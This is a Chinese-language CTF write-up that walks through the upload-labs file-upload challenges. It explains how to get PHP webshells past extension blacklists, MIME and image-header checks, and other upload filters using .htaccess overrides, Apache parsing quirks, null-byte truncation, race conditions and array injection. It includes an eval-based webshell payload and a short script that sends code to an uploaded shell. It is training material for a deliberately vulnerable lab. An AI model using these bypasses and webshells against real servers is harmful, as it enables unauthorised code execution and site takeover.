赞
踩
题中基本的上传代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
前端js验证文件后缀,burpsuite改包或禁用js上传
MIME
验证,改包欺骗
黑名单过滤禁用.asp
,.aspx
,.php
,.jsp
php2,php3、php4、php5、phtml、phtm等后缀一般都能正确解析
此处phtml上传成功,由于源码保存路径文件名为随机生成,前端html追踪到正确位置连接
黑名单过滤文件后缀
".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",
".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",
".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",
".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",
".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"
上传Apache服务器配置文件.htaccess
,更改.jpg
后缀文件解析规则
AddType application/x-httpd-php .jpg
再上传.jpg
后缀文件成功连接
百度百科:Apache必须在所有上级的目录中查找.htaccess文件,以使所有有效的指令都起作用(参见指令的生效),
所以,如果请求/www/htdocs/example中的页面,Apache必须查找以下文件:
/.htaccess,/www/.htaccess,/www/htdocs/.htaccess,/www/htdocs/example/.htaccess
所以此处上次的.htacess覆盖了原先上级目录中.htaccess的作用范围,更改改目录下的解析规则
网上还有一种解法是.php.a
利用Apache的解析规则上传文件
Apache文件解析漏洞:Apache认为文件可以拥有多后缀,解析规则从右向左,遇到不在规则内的后缀再向左寻早可解析的后缀,
遍历完所有后缀不存在可解析内容则解析为
text/plain
,可解析后缀表单在服务器的/etc/mime.types
中
这种解法是通过了Apache不认识的.a
后缀绕过WAF,然后使其解析.php
后缀
在Pass-04
的基础上增加了.htaccess
过滤
emm没仔细看黑名单没解出来,网上的解法是.Php
后缀大小写绕过
上传,蚁剑连接成功
一样的黑名单过滤,对比上题增加了
$file_ext = strtolower($file_ext); //转换为小写
故大小写绕过不可行
而随机生成的文件名导致了Apche的解析规则漏洞也无法使用,但这该题没有对文件名后空格进行处理,导致漏洞存在
上传hack.php
(包含空格)成功
ok连接不成功,用之前的马看到该文件的文件名最后存在空格,应该是这个原因导致了图片在浏览器内无法访问
import requests
url = "http://xxxx.node4.buuoj.cn:81/upload/xxxx.php "
data = {"pass": "phpinfo();"}
a = requests.post(url=url,data=data)
print(a.text)
根据返回情况可以得到结尾包含空格的文件会被Apache解析为text/plain
所以这种解法应该是有点问题
可控文件名可以使用不可解析后缀名绕过WAF,或者直接添加单个点号作为后缀
蚁剑链接连接成功
不知道咋做,
网上解法是::$DATA
题目环境LInux+Apache么,连接失败
后台看到文件名仍为xxxx.php::$data
文件名可控xxxx.php.a
可行
网上解法xxxx.php.jpg
上传成功,
实验发现xxxx.jpg.php
,xxxx.jpg.php.jpg
也会被解析为php,应该是存在一定的解析优先级问题
蚁剑连接成功
原因是源代码中的$file_ext = strrchr($file_name, '.');
截取了最后一个.
的出现位置
$file_name = str_ireplace($deny_ext,"", $file_name); //将黑名单中出现的字符替换为空
双写绕过
%00实际上就是十六进制的0x00,就是表示ASCII码值为0,有些函数在处理这个字符的时候会把这个当做结束符。
蚁剑终端php --version
PHP 7.2.21 (cli) (built: Aug 2 2019 06:45:27) ( NTS )
不符合%00截断
的条件:5.4.x<= 5.4.39, 5.5.x<= 5.5.23, 5.6.x <= 5.6.7
同上题,环境问题无法实现,0x00截断后返回上传失败
白名单机制
定义了getReailFileType
函数,通过文件头获取类型
function getReailFileType($filename){ $file = fopen($filename, "rb"); $bin = fread($file, 2); //只读2字节 fclose($file); $strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg'; break; case 13780: $fileType = 'png'; break; case 7173: $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType; }
010editor
编辑上传即可
白名单
判断是否为图像的函数getimagesize
针对的是图像显示情况
getimagesize()
函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。
选择完整图片在最后写入一句话木马即可
exif_imagetype()
读取一个图像的第一个字节并检查其签名。
本函数可用来避免调用其它exif
函数用到了不支持的文件类型上或和$_SERVER[‘HTTP_ACCEPT’]
结合使用来检查浏览器是否可以显示某个指定的图像
二次渲染内容不变,一样是上传图片马
条件竞争
写入木马文件放到burp intruder重放
<?php $f=fopen("webshell.php","w"); fputs($f,'<?php @eval($_POST[pass]);?>');?>
同时重复访问该文件以执行,直到requests.get(url).status_code == 200
move_uploaded_file()
函数,采用0x00截断未成功
仍然是条件竞争
源码:
<?php include '../config.php'; include '../common.php'; include '../head.php'; include '../menu.php'; $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); /* $file_name = trim($_POST['save_name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = pathinfo($file_name,PATHINFO_EXTENSION); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 */ $file_name = $_POST['save_name']; $file_ext = pathinfo($file_name,PATHINFO_EXTENSION); if(!in_array($file_ext,$deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; }else{ $msg = '上传出错!'; } }else{ $msg = '禁止保存为该类型文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } } ?>
这是把前面几题的处理都注释掉了,所以之前的解法基本上都能用了
参考[smi1e师傅的解法](Upload-labs 20关通关笔记 - 先知社区 (aliyun.com))
源码:
if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $is_upload = false; $msg = null; if(!empty($_FILES['upload_file'])){ //mime check $allow_type = array('image/jpeg','image/png','image/gif'); if(!in_array($_FILES['upload_file']['type'],$allow_type)){ $msg = "禁止上传该类型文件!"; }else{ //check filename $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; if (!is_array($file)) { $file = explode('.', strtolower($file)); } $ext = end($file); $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上传该后缀文件!"; }else{ $file_name = reset($file) . '.' . $file[count($file) - 1]; $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上传成功!"; $is_upload = true; } else { $msg = "文件上传失败!"; } } } }else{ $msg = "请选择要上传的文件!"; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } } ?>
涉及了几个不熟悉的函数,reset
返回数组第一个元素,count
返回数组元素的个数
如果上传的save_name
是一个数组即可绕过$file = explode('.', strtolower($file));
将最后一个save_name
设定为白名单字符即可绕过,而存储文件名$file_name = reset($file) . '.' . $file[count($file) - 1];
可以构造save_name[0] = xxx.php/
而move_uploaded_file
会忽略掉/.
,最终上传smi1e.php
。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。